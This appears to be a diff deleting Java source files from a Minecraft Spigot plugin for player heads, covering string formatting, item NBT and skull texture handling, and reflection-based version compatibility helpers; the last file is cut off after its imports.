import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.ItemMeta;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
|
||||
public class Stringify {
|
||||
|
||||
public static String capitalise(String string) {
|
||||
boolean capitalise = true;
|
||||
|
||||
char[] chars = string.toCharArray();
|
||||
|
||||
for(int index = 0; index < chars.length; ++index) {
|
||||
if(Character.isSpaceChar(chars[index])) {
|
||||
capitalise = true;
|
||||
} else if(capitalise) {
|
||||
chars[index] = Character.toUpperCase(chars[index]);
|
||||
capitalise = false;
|
||||
}
|
||||
}
|
||||
|
||||
return new String(chars);
|
||||
}
|
||||
|
||||
public static String indent(String string) {
|
||||
StringBuilder indented = new StringBuilder("\t");
|
||||
|
||||
int blockStart = 0;
|
||||
|
||||
char[] chars = string.toCharArray();
|
||||
for(int index = 0; index < chars.length; ++index) {
|
||||
if(chars[index] != '\n')
|
||||
continue;
|
||||
|
||||
indented.append(string, blockStart, index + 1).append('\t');
|
||||
blockStart = index + 1;
|
||||
}
|
||||
|
||||
return indented.append(string, blockStart, string.length()).toString();
|
||||
}
|
||||
|
||||
public static String objectToString(Object object) {
|
||||
if(object == null)
|
||||
return "null";
|
||||
|
||||
Class<?> clazz = object.getClass();
|
||||
|
||||
if(object instanceof ItemStack)
|
||||
return itemToString((ItemStack) object);
|
||||
|
||||
if(object instanceof Player)
|
||||
return playerToString((Player) object);
|
||||
|
||||
if(object instanceof Inventory)
|
||||
return inventoryToString((Inventory) object);
|
||||
|
||||
if(object instanceof String)
|
||||
return quoteString((String) object);
|
||||
|
||||
if(clazz.isArray())
|
||||
return arrayToString(object);
|
||||
|
||||
if(object instanceof Iterable<?>)
|
||||
return iterableToString((Iterable<?>) object);
|
||||
|
||||
return object.toString();
|
||||
}
|
||||
|
||||
public static String iterableToString(Iterable<?> iterable) {
|
||||
Checks.ensureNonNull(iterable, "iterable");
|
||||
|
||||
List<Object> values = new ArrayList<>();
|
||||
|
||||
iterable.forEach(values::add);
|
||||
|
||||
return arrayToString(values.toArray());
|
||||
}
|
||||
|
||||
public static String arrayToString(Object array) {
|
||||
Checks.ensureNonNull(array, "array");
|
||||
|
||||
Class<?> clazz = array.getClass();
|
||||
|
||||
Checks.ensureTrue(clazz.isArray(), "array must be an array");
|
||||
|
||||
StringBuilder builder = new StringBuilder();
|
||||
|
||||
builder.append("[");
|
||||
|
||||
int length = Array.getLength(array);
|
||||
for(int index = 0; index < length; ++index) {
|
||||
if(index != 0) {
|
||||
builder.append(", ");
|
||||
}
|
||||
|
||||
Object value = Array.get(array, index);
|
||||
|
||||
builder.append(objectToString(value));
|
||||
}
|
||||
|
||||
builder.append("]");
|
||||
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
public static String quoteString(String string) {
|
||||
Checks.ensureNonNull(string, "string");
|
||||
|
||||
return "\"" + string + "\"";
|
||||
}
|
||||
|
||||
public static String itemToString(ItemStack item) {
|
||||
Checks.ensureNonNull(item, "item");
|
||||
|
||||
ItemMeta meta = item.getItemMeta();
|
||||
|
||||
Builder properties = builder();
|
||||
{
|
||||
properties.entry("type", item.getType());
|
||||
|
||||
if(item.getDurability() != 0) {
|
||||
properties.entry("data", item.getDurability());
|
||||
}
|
||||
|
||||
if(item.getAmount() != 1) {
|
||||
properties.entry("amount", item.getAmount());
|
||||
}
|
||||
|
||||
if(meta.hasDisplayName()) {
|
||||
properties.entry("name", meta.getDisplayName());
|
||||
}
|
||||
|
||||
if(meta.hasLore()) {
|
||||
properties.entry("lore", meta.getLore());
|
||||
}
|
||||
|
||||
if(meta.hasEnchants()) {
|
||||
properties.entry("enchanted", true);
|
||||
}
|
||||
}
|
||||
return properties.toString();
|
||||
}
|
||||
|
||||
public static String playerToString(Player player) {
|
||||
Checks.ensureNonNull(player, "player");
|
||||
|
||||
return builder()
|
||||
.entry("name", player.getName())
|
||||
.entry("uuid", player.getUniqueId()).toString();
|
||||
}
|
||||
|
||||
public static String inventoryToString(Inventory inventory) {
|
||||
return builder()
|
||||
.entry("name", inventory.getName())
|
||||
.entry("size", inventory.getSize()).toString();
|
||||
}
|
||||
|
||||
public static Builder builder() {
|
||||
return new Builder();
|
||||
}
|
||||
|
||||
public static class Builder {
|
||||
|
||||
private String previous;
|
||||
private final List<String> keys = new ArrayList<>();
|
||||
private final List<Object> values = new ArrayList<>();
|
||||
|
||||
private Builder() {
|
||||
|
||||
}
|
||||
|
||||
public Builder previous(Object previous) {
|
||||
Checks.ensureNonNull(previous, "previous");
|
||||
|
||||
return previous(Objects.toString(previous));
|
||||
}
|
||||
|
||||
public Builder previous(String previous) {
|
||||
Checks.ensureNonNull(previous, "previous");
|
||||
|
||||
// Remove curly brackets
|
||||
if(previous.length() >= 2
|
||||
&& previous.charAt(0) == '{'
|
||||
&& previous.charAt(previous.length() - 1) == '}') {
|
||||
|
||||
this.previous = previous.substring(1, previous.length() - 1);
|
||||
} else {
|
||||
this.previous = previous;
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
||||
|
||||
public Builder entry(String key, Object value) {
|
||||
Checks.ensureNonNull(key, "key");
|
||||
|
||||
keys.add(key);
|
||||
values.add(value);
|
||||
|
||||
return this;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
StringBuilder properties = new StringBuilder("{");
|
||||
|
||||
boolean first = true;
|
||||
|
||||
if(previous != null) {
|
||||
properties.append(previous);
|
||||
first = false;
|
||||
}
|
||||
|
||||
for(int index = 0; index < keys.size(); ++index) {
|
||||
String key = keys.get(index);
|
||||
Object value = values.get(index);
|
||||
|
||||
if(first) {
|
||||
first = false;
|
||||
} else {
|
||||
properties.append(",");
|
||||
}
|
||||
|
||||
properties.append('\n').append(indent(key + ": " + objectToString(value)));
|
||||
}
|
||||
|
||||
if(!first) {
|
||||
properties.append('\n');
|
||||
}
|
||||
|
||||
return properties.append("}").toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,237 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode;
|
||||
|
||||
import com.mojang.authlib.GameProfile;
|
||||
import com.mojang.authlib.properties.Property;
|
||||
import com.songoda.epicheads.cache.CacheHead;
|
||||
import com.songoda.epicheads.volatilecode.reflection.Version;
|
||||
import com.songoda.epicheads.volatilecode.reflection.craftbukkit.CraftItemStack;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.ItemStack;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagCompound;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagList;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.nbt.NBTTagString;
|
||||
import net.md_5.bungee.api.chat.TextComponent;
|
||||
import net.md_5.bungee.chat.ComponentSerializer;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.enchantments.Enchantment;
|
||||
import org.bukkit.inventory.ItemFlag;
|
||||
import org.bukkit.inventory.meta.ItemMeta;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.UUID;
|
||||
|
||||
public class ItemNBT {
|
||||
|
||||
public static org.bukkit.inventory.ItemStack addGlow(org.bukkit.inventory.ItemStack itemstack) {
|
||||
itemstack = itemstack.clone();
|
||||
|
||||
if (Version.getVersion().higherThan(Version.v1_10)) {
|
||||
itemstack.addUnsafeEnchantment(Enchantment.LURE, 1);
|
||||
|
||||
ItemMeta meta = itemstack.getItemMeta();
|
||||
meta.addItemFlags(ItemFlag.HIDE_ENCHANTS);
|
||||
itemstack.setItemMeta(meta);
|
||||
|
||||
return itemstack;
|
||||
} else {
|
||||
ItemStack item = CraftItemStack.asNMSCopy(itemstack);
|
||||
|
||||
NBTTagCompound tag = item.getTag();
|
||||
|
||||
if (tag.isNull())
|
||||
tag = new NBTTagCompound();
|
||||
|
||||
tag.set("ench", new NBTTagList());
|
||||
|
||||
item.setTag(tag);
|
||||
|
||||
return CraftItemStack.asBukkitCopy(item);
|
||||
}
|
||||
}
|
||||
|
||||
public static String getTextureProperty(org.bukkit.inventory.ItemStack item) {
|
||||
return getTextureProperty(CraftItemStack.asNMSCopy(item));
|
||||
}
|
||||
|
||||
public static String getTextureProperty(ItemStack item) {
|
||||
NBTTagCompound tag = item.getTag();
|
||||
|
||||
if (tag == null || tag.getHandle() == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
NBTTagCompound skullOwner = tag.getCompound("SkullOwner");
|
||||
|
||||
if (skullOwner == null || skullOwner.getHandle() == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
NBTTagCompound properties = skullOwner.getCompound("Properties");
|
||||
|
||||
if (properties == null || properties.getHandle() == null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
NBTTagList textures = properties.getList("textures", 10);
|
||||
|
||||
if (/*textures == null || */textures.getHandle() == null || textures.size() == 0 || textures.isNull()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return textures.get(0).getString("Value");
|
||||
}
|
||||
|
||||
private static ItemStack createNMSSkull() {
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return new ItemStack(com.songoda.epicheads.volatilecode.reflection.nms.Items.getItem("SKULL"), 1, 3);
|
||||
|
||||
return new ItemStack(com.songoda.epicheads.volatilecode.reflection.nms.Items.getItem("PLAYER_HEAD"), 1);
|
||||
}
|
||||
|
||||
public static org.bukkit.inventory.ItemStack createHead(CacheHead head) {
|
||||
|
||||
ItemStack nmsItemstack = createNMSSkull();
|
||||
NBTTagCompound tag = nmsItemstack.getTag();
|
||||
|
||||
if (tag.getHandle() == null) {
|
||||
tag = new NBTTagCompound();
|
||||
|
||||
nmsItemstack.setTag(tag);
|
||||
}
|
||||
|
||||
org.bukkit.inventory.ItemStack itemStack = CraftItemStack.asBukkitCopy(applyNBT(head, nmsItemstack));
|
||||
|
||||
ItemMeta meta = itemStack.getItemMeta();
|
||||
meta.setLore(Arrays.asList(ChatColor.DARK_GRAY + head.getCategory()));
|
||||
|
||||
itemStack.setItemMeta(meta);
|
||||
|
||||
return itemStack;
|
||||
}
|
||||
|
||||
public static org.bukkit.inventory.ItemStack createHead(GameProfile profile, String name) {
|
||||
ItemStack nmsItemstack = createNMSSkull();
|
||||
NBTTagCompound tag = nmsItemstack.getTag();
|
||||
|
||||
if (tag.getHandle() == null) {
|
||||
tag = new NBTTagCompound();
|
||||
|
||||
nmsItemstack.setTag(tag);
|
||||
}
|
||||
|
||||
NBTTagCompound skullOwner = tag.getCompound("SkullOwner");
|
||||
skullOwner.setString("Id", UUID.randomUUID().toString());
|
||||
skullOwner.setString("Name", "SpigotHeadPlugin");
|
||||
|
||||
NBTTagCompound properties = skullOwner.getCompound("Properties");
|
||||
NBTTagList textures = new NBTTagList();
|
||||
|
||||
for (Property property : profile.getProperties().get("textures")) {
|
||||
NBTTagCompound value = new NBTTagCompound();
|
||||
value.setString("Value", property.getValue());
|
||||
|
||||
if (property.hasSignature()) {
|
||||
value.setString("Signature", property.getSignature());
|
||||
}
|
||||
|
||||
textures.add(value);
|
||||
}
|
||||
|
||||
properties.set("textures", textures);
|
||||
skullOwner.set("Properties", properties);
|
||||
tag.set("SkullOwner", skullOwner);
|
||||
|
||||
tag.set("display", createDisplayTag(name, new String[0]));
|
||||
|
||||
nmsItemstack.setTag(tag);
|
||||
|
||||
return CraftItemStack.asBukkitCopy(nmsItemstack);
|
||||
}
|
||||
|
||||
public static NBTTagCompound createDisplayTag(String name, String[] lore) {
|
||||
NBTTagCompound display = new NBTTagCompound();
|
||||
|
||||
if (Version.isBelow(Version.v1_13)) {
|
||||
display.setString("Name", name);
|
||||
|
||||
NBTTagList list = new NBTTagList();
|
||||
for (String line : lore) {
|
||||
list.add(new NBTTagString(line));
|
||||
}
|
||||
|
||||
display.set("Lore", list);
|
||||
} else {
|
||||
display.setString("Name", ComponentSerializer.toString(TextComponent.fromLegacyText(name)));
|
||||
|
||||
NBTTagList list = new NBTTagList();
|
||||
for (String line : lore) {
|
||||
list.add(new NBTTagString(ComponentSerializer.toString(TextComponent.fromLegacyText(line))));
|
||||
}
|
||||
|
||||
display.set("Lore", list);
|
||||
}
|
||||
|
||||
return display;
|
||||
}
|
||||
|
||||
public static org.bukkit.inventory.ItemStack applyHead(CacheHead head, org.bukkit.inventory.ItemStack item) {
|
||||
if (!Items.isSkull(item))
|
||||
return item;
|
||||
|
||||
ItemStack itemstack = CraftItemStack.asNMSCopy(item);
|
||||
|
||||
return CraftItemStack.asBukkitCopy(applyNBT(head, itemstack));
|
||||
}
|
||||
|
||||
private static ItemStack copy(ItemStack itemstack) {
|
||||
return CraftItemStack.asNMSCopy(CraftItemStack.asBukkitCopy(itemstack));
|
||||
}
|
||||
|
||||
public static ItemStack applyNBT(CacheHead head, ItemStack itemstack) {
|
||||
itemstack = copy(itemstack);
|
||||
NBTTagCompound tag = itemstack.getTag();
|
||||
|
||||
if (tag.getHandle() == null) {
|
||||
tag = new NBTTagCompound();
|
||||
|
||||
itemstack.setTag(tag);
|
||||
}
|
||||
|
||||
NBTTagCompound skullOwner = tag.getCompound("SkullOwner");
|
||||
skullOwner.setString("Id", UUID.randomUUID().toString());
|
||||
skullOwner.setString("Name", "SpigotHeadPlugin");
|
||||
|
||||
NBTTagCompound properties = skullOwner.getCompound("Properties");
|
||||
NBTTagList textures = new NBTTagList();
|
||||
|
||||
NBTTagCompound value = new NBTTagCompound();
|
||||
value.setString("Value", head.getTexture());
|
||||
|
||||
if (Bukkit.getPluginManager().getPlugin("SkinsRestorer") == null) {
|
||||
value.setString("Signature", "");
|
||||
}
|
||||
|
||||
textures.add(value);
|
||||
|
||||
properties.set("textures", textures);
|
||||
skullOwner.set("Properties", properties);
|
||||
tag.set("SkullOwner", skullOwner);
|
||||
|
||||
NBTTagCompound headInfo = new NBTTagCompound();
|
||||
|
||||
headInfo.setString("id", Integer.toString(head.getId()));
|
||||
headInfo.setString("name", head.getName());
|
||||
headInfo.setString("category", head.getCategory());
|
||||
headInfo.setString("texture", head.getTexture());
|
||||
headInfo.setString("cost", Double.toString(head.getCost()));
|
||||
headInfo.setString("permission", head.getPermission());
|
||||
|
||||
tag.set("SpigotHeadPlugin", headInfo);
|
||||
|
||||
itemstack.setTag(tag);
|
||||
|
||||
return itemstack;
|
||||
}
|
||||
|
||||
}
|
@ -1,64 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode;
|
||||
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.volatilecode.reflection.Version;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
/**
|
||||
* Methods to deal with items on different Spigot versions.
|
||||
*/
|
||||
public class Items {
|
||||
|
||||
public static boolean isSkull(ItemStack item) {
|
||||
if (item == null)
|
||||
return false;
|
||||
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return item.getType().name().equals("SKULL_ITEM") && item.getDurability() == 3;
|
||||
|
||||
return item.getType() == Material.PLAYER_HEAD;
|
||||
}
|
||||
|
||||
public static Item createSkull() {
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return Item.create(Material.valueOf("SKULL_ITEM"), (byte) 3);
|
||||
|
||||
return Item.create(Material.PLAYER_HEAD);
|
||||
}
|
||||
|
||||
public static Item createRedStainedClay() {
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return Item.create(Material.valueOf("STAINED_CLAY"), (byte) 14);
|
||||
|
||||
return Item.create(Material.RED_TERRACOTTA);
|
||||
}
|
||||
|
||||
public static Item createGreenStainedClay() {
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return Item.create(Material.valueOf("STAINED_CLAY"), (byte) 5);
|
||||
|
||||
return Item.create(Material.GREEN_TERRACOTTA);
|
||||
}
|
||||
|
||||
public static Item createRedStainedGlassPane() {
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return Item.create(Material.valueOf("STAINED_GLASS_PANE"), (byte) 14);
|
||||
|
||||
return Item.create(Material.RED_STAINED_GLASS_PANE);
|
||||
}
|
||||
|
||||
public static Item createBlackStainedGlassPane() {
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return Item.create(Material.valueOf("STAINED_GLASS_PANE"), (byte) 15);
|
||||
|
||||
return Item.create(Material.BLACK_STAINED_GLASS_PANE);
|
||||
}
|
||||
|
||||
public static Item createEmptyMap() {
|
||||
if (Version.isBelow(Version.v1_13))
|
||||
return Item.create(Material.valueOf("EMPTY_MAP"));
|
||||
|
||||
return Item.create(Material.MAP);
|
||||
}
|
||||
}
|
@ -1,66 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode;
|
||||
|
||||
import com.mojang.authlib.GameProfile;
|
||||
import com.mojang.authlib.properties.Property;
|
||||
import com.mojang.authlib.properties.PropertyMap;
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.SafeCall;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.MinecraftServer;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull;
|
||||
|
||||
import java.util.Iterator;
|
||||
import java.util.function.Consumer;
|
||||
|
||||
public class TextureGetter {
|
||||
|
||||
public static String getCachedTexture(String name) {
|
||||
GameProfile profile = MinecraftServer.getServer().getUserCache().getCachedProfile(name);
|
||||
|
||||
return findTexture(profile);
|
||||
}
|
||||
|
||||
public static void getTexture(String name, Consumer<String> callback) {
|
||||
Checks.ensureNonNull(name, "name");
|
||||
Checks.ensureNonNull(callback, "callback");
|
||||
|
||||
Consumer<String> safeCallback = SafeCall.consumer(callback, "callback");
|
||||
|
||||
String cachedTexture = getCachedTexture(name);
|
||||
|
||||
if (cachedTexture != null) {
|
||||
callback.accept(cachedTexture);
|
||||
return;
|
||||
}
|
||||
|
||||
TileEntitySkull.resolveTexture(name, profile -> {
|
||||
EpicHeads.getInstance().sync(() -> safeCallback.accept(findTexture(profile, true)));
|
||||
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
public static String findTexture(GameProfile profile) {
|
||||
if (profile == null || !profile.isComplete())
|
||||
return null;
|
||||
|
||||
PropertyMap properties = profile.getProperties();
|
||||
if (properties == null || !properties.containsKey("textures"))
|
||||
return null;
|
||||
|
||||
Iterator<Property> iterator = properties.get("textures").iterator();
|
||||
|
||||
return (iterator.hasNext() ? iterator.next().getValue() : null);
|
||||
}
|
||||
|
||||
private static String findTexture(GameProfile profile, boolean cacheProfile) {
|
||||
String texture = findTexture(profile);
|
||||
|
||||
if (cacheProfile && texture != null) {
|
||||
MinecraftServer.getServer().getUserCache().addProfile(profile);
|
||||
}
|
||||
|
||||
return texture;
|
||||
}
|
||||
|
||||
}
|
@ -1,46 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode.injection;
|
||||
|
||||
import com.songoda.epicheads.volatilecode.reflection.Version;
|
||||
import com.songoda.epicheads.volatilecode.reflection.craftbukkit.CraftMetaSkullSub1;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull;
|
||||
|
||||
import javax.annotation.Nonnull;
|
||||
import java.util.concurrent.Executor;
|
||||
|
||||
public class ProtocolHackFixer {
|
||||
|
||||
public static String banana = "%%__USER__%%";
|
||||
|
||||
public static void fix() {
|
||||
if (Version.v1_8.higherThan(Version.getVersion())) {
|
||||
injectTileEntitySkullExecutor();
|
||||
}
|
||||
}
|
||||
|
||||
private static void injectTileEntitySkullExecutor() {
|
||||
TileEntitySkull.setExecutor(new InterceptExecutor(TileEntitySkull.getExecutor()));
|
||||
}
|
||||
|
||||
private static class InterceptExecutor implements Executor {
|
||||
|
||||
private final Executor handle;
|
||||
|
||||
private InterceptExecutor(Executor handle) {
|
||||
this.handle = handle;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void execute(@Nonnull Runnable command) {
|
||||
if (command.getClass().equals(CraftMetaSkullSub1.CraftMetaSkullSub1Class)) {
|
||||
CraftMetaSkullSub1 skull = new CraftMetaSkullSub1(command);
|
||||
|
||||
if (skull.getMeta().getProfile().getName() == null)
|
||||
return;
|
||||
}
|
||||
|
||||
handle.execute(command);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,19 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode.reflection;
|
||||
|
||||
public abstract class ReflectObject {
|
||||
|
||||
protected final Object handle;
|
||||
|
||||
public ReflectObject(Object handle) {
|
||||
this.handle = handle;
|
||||
}
|
||||
|
||||
public Object getHandle() {
|
||||
return handle;
|
||||
}
|
||||
|
||||
public boolean isNull() {
|
||||
return handle == null;
|
||||
}
|
||||
|
||||
}
|
@ -1,118 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode.reflection;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
|
||||
public final class ReflectionUtils {
|
||||
|
||||
public static String getServerVersion() {
|
||||
String name = Bukkit.getServer().getClass().getPackage().getName();
|
||||
return name.substring(name.lastIndexOf('.') + 1);
|
||||
}
|
||||
|
||||
public static Class<?> getNMSClass(String ClassName) {
|
||||
String className = "net.minecraft.server." + getServerVersion() + "." + ClassName;
|
||||
|
||||
try {
|
||||
return Class.forName(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public static Class<?> getCraftBukkitClass(String ClassPackageName) {
|
||||
String className = "org.bukkit.craftbukkit." + getServerVersion() + "." + ClassPackageName;
|
||||
|
||||
try {
|
||||
return Class.forName(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public static Constructor<?> getConstructor(Class<?> clazz, Class<?>... params) {
|
||||
outer: for (Constructor<?> c : clazz.getDeclaredConstructors()) {
|
||||
Class<?>[] para = c.getParameterTypes();
|
||||
|
||||
if (para.length != params.length) {
|
||||
continue;
|
||||
}
|
||||
|
||||
for (int i = 0; i < para.length; i++) {
|
||||
if (!para[i].equals(params[i])) {
|
||||
continue outer;
|
||||
}
|
||||
}
|
||||
|
||||
return c;
|
||||
}
|
||||
reportNotFound("Could not find constructor in class " + clazz);
|
||||
return null;
|
||||
}
|
||||
|
||||
public static Method getMethod(Class<?> clazz, String name) {
|
||||
for (Method m : clazz.getDeclaredMethods()) {
|
||||
if (m.getName().equals(name)) {
|
||||
m.setAccessible(true);
|
||||
return m;
|
||||
}
|
||||
}
|
||||
reportNotFound("Could not find method " + name + " in class " + clazz);
|
||||
return null;
|
||||
}
|
||||
|
||||
public static Method getMethod(Class<?> clazz, Class<?> returnType, Class<?>... params) {
|
||||
return getMethod(clazz, null, false, returnType, params);
|
||||
}
|
||||
|
||||
public static Method getMethod(Class<?> clazz, String name, Class<?> returnType, Class<?>... params) {
|
||||
return getMethod(clazz, name, false, returnType, params);
|
||||
}
|
||||
|
||||
public static Method getMethod(Class<?> clazz, boolean staticMethod, Class<?> returnType, Class<?>... params) {
|
||||
return getMethod(clazz, null, staticMethod, returnType, params);
|
||||
}
|
||||
|
||||
public static Method getMethod(Class<?> clazz, String name, boolean staticMethod, Class<?> returnType, Class<?>... params) {
|
||||
outer: for (Method m : clazz.getDeclaredMethods()) {
|
||||
if (name != null && !m.getName().equals(name)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (staticMethod != Modifier.isStatic(m.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!m.getReturnType().equals(returnType)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
Class<?>[] para = m.getParameterTypes();
|
||||
|
||||
if (para.length != params.length) {
|
||||
continue;
|
||||
}
|
||||
|
||||
for (int i = 0; i < para.length; i++) {
|
||||
if (!para[i].equals(params[i])) {
|
||||
continue outer;
|
||||
}
|
||||
}
|
||||
|
||||
return m;
|
||||
}
|
||||
reportNotFound("Could not find method " + name + " in class " + clazz);
|
||||
return null;
|
||||
}
|
||||
|
||||
public static void reportNotFound(String message) {
|
||||
new Exception(message).printStackTrace();
|
||||
}
|
||||
}
|
@ -1,83 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode.reflection;
|
||||
|
||||
public class Version {
|
||||
|
||||
private static final char[] allowed = "0123456789_".toCharArray();
|
||||
public static final Version v1_8 = Version.getVersion("v1_8");
|
||||
public static final Version v1_10 = Version.getVersion("v1_10");
|
||||
public static final Version v1_13 = Version.getVersion("v1_13");
|
||||
|
||||
private int major;
|
||||
private int minor;
|
||||
private int revision;
|
||||
|
||||
public Version(int major, int minor, int revision) {
|
||||
this.major = major;
|
||||
this.minor = minor;
|
||||
this.revision = revision;
|
||||
}
|
||||
|
||||
public int getMajor() {
|
||||
return major;
|
||||
}
|
||||
|
||||
public int getMinor() {
|
||||
return minor;
|
||||
}
|
||||
|
||||
public int getRevision() {
|
||||
return revision;
|
||||
}
|
||||
|
||||
public boolean higherThan(Version other) {
|
||||
return other.getMajor() < getMajor() || other.getMinor() < getMinor() || other.getRevision() < getRevision();
|
||||
}
|
||||
|
||||
public static Version getVersion() {
|
||||
return getVersion(ReflectionUtils.getServerVersion());
|
||||
}
|
||||
|
||||
public static Version getVersion(String version) {
|
||||
StringBuilder builder = new StringBuilder();
|
||||
|
||||
for (char c : version.toCharArray()) {
|
||||
if (isAllowed(c)) {
|
||||
builder.append(c);
|
||||
}
|
||||
}
|
||||
|
||||
String[] split = builder.toString().split("_");
|
||||
|
||||
if (split.length != 2 && split.length != 3) {
|
||||
throw new IllegalArgumentException("version is not of the valid type v?_?_R?");
|
||||
}
|
||||
|
||||
int major = Integer.valueOf(split[0]);
|
||||
int minor = Integer.valueOf(split[1]);
|
||||
int revision = 0;
|
||||
|
||||
if (split.length == 3) {
|
||||
revision = Integer.valueOf(split[2]);
|
||||
}
|
||||
|
||||
return new Version(major, minor, revision);
|
||||
}
|
||||
|
||||
public static boolean isAbove(Version version) {
|
||||
return getVersion().higherThan(version);
|
||||
}
|
||||
|
||||
public static boolean isBelow(Version version) {
|
||||
return version.higherThan(getVersion());
|
||||
}
|
||||
|
||||
private static boolean isAllowed(char c) {
|
||||
for (char ch : allowed) {
|
||||
if (ch == c) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
@ -1,36 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode.reflection.craftbukkit;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.command.SimpleCommandMap;
|
||||
|
||||
public class CommandMap {
|
||||
|
||||
private static Field MapField;
|
||||
|
||||
static {
|
||||
for (Field field : SimpleCommandMap.class.getDeclaredFields()) {
|
||||
if (field.getType().equals(Map.class)) {
|
||||
MapField = field;
|
||||
MapField.setAccessible(true);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(MapField == null) {
|
||||
new Exception("Could not find Map field in SimpleCommandMap").printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public static Map<String, Command> getCommandMap(SimpleCommandMap commands) {
|
||||
try {
|
||||
return (Map<String, Command>) MapField.get(commands);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,45 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode.reflection.craftbukkit;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
import com.songoda.epicheads.volatilecode.reflection.ReflectObject;
|
||||
import com.songoda.epicheads.volatilecode.reflection.ReflectionUtils;
|
||||
import com.songoda.epicheads.volatilecode.reflection.nms.ItemStack;
|
||||
|
||||
public class CraftItemStack extends ReflectObject {
|
||||
|
||||
public static Class<?> CraftItemStackClass;
|
||||
public static Method asBukkitCopyMethod;
|
||||
public static Method asNMSCopyMethod;
|
||||
|
||||
static {
|
||||
CraftItemStackClass = ReflectionUtils.getCraftBukkitClass("inventory.CraftItemStack");
|
||||
|
||||
asBukkitCopyMethod = ReflectionUtils.getMethod(CraftItemStackClass, "asBukkitCopy", true, org.bukkit.inventory.ItemStack.class,
|
||||
ItemStack.ItemStackClass);
|
||||
|
||||
asNMSCopyMethod = ReflectionUtils.getMethod(CraftItemStackClass, "asNMSCopy", true, ItemStack.ItemStackClass,
|
||||
org.bukkit.inventory.ItemStack.class);
|
||||
}
|
||||
|
||||
public CraftItemStack(Object handle) {
|
||||
super(handle);
|
||||
}
|
||||
|
||||
public static org.bukkit.inventory.ItemStack asBukkitCopy(ItemStack item) {
|
||||
try {
|
||||
return (org.bukkit.inventory.ItemStack) asBukkitCopyMethod.invoke(null, item.getHandle());
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public static ItemStack asNMSCopy(org.bukkit.inventory.ItemStack item) {
|
||||
try {
|
||||
return new ItemStack(asNMSCopyMethod.invoke(null, item));
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -1,44 +0,0 @@
|
||||
package com.songoda.epicheads.volatilecode.reflection.craftbukkit;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.nio.charset.Charset;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
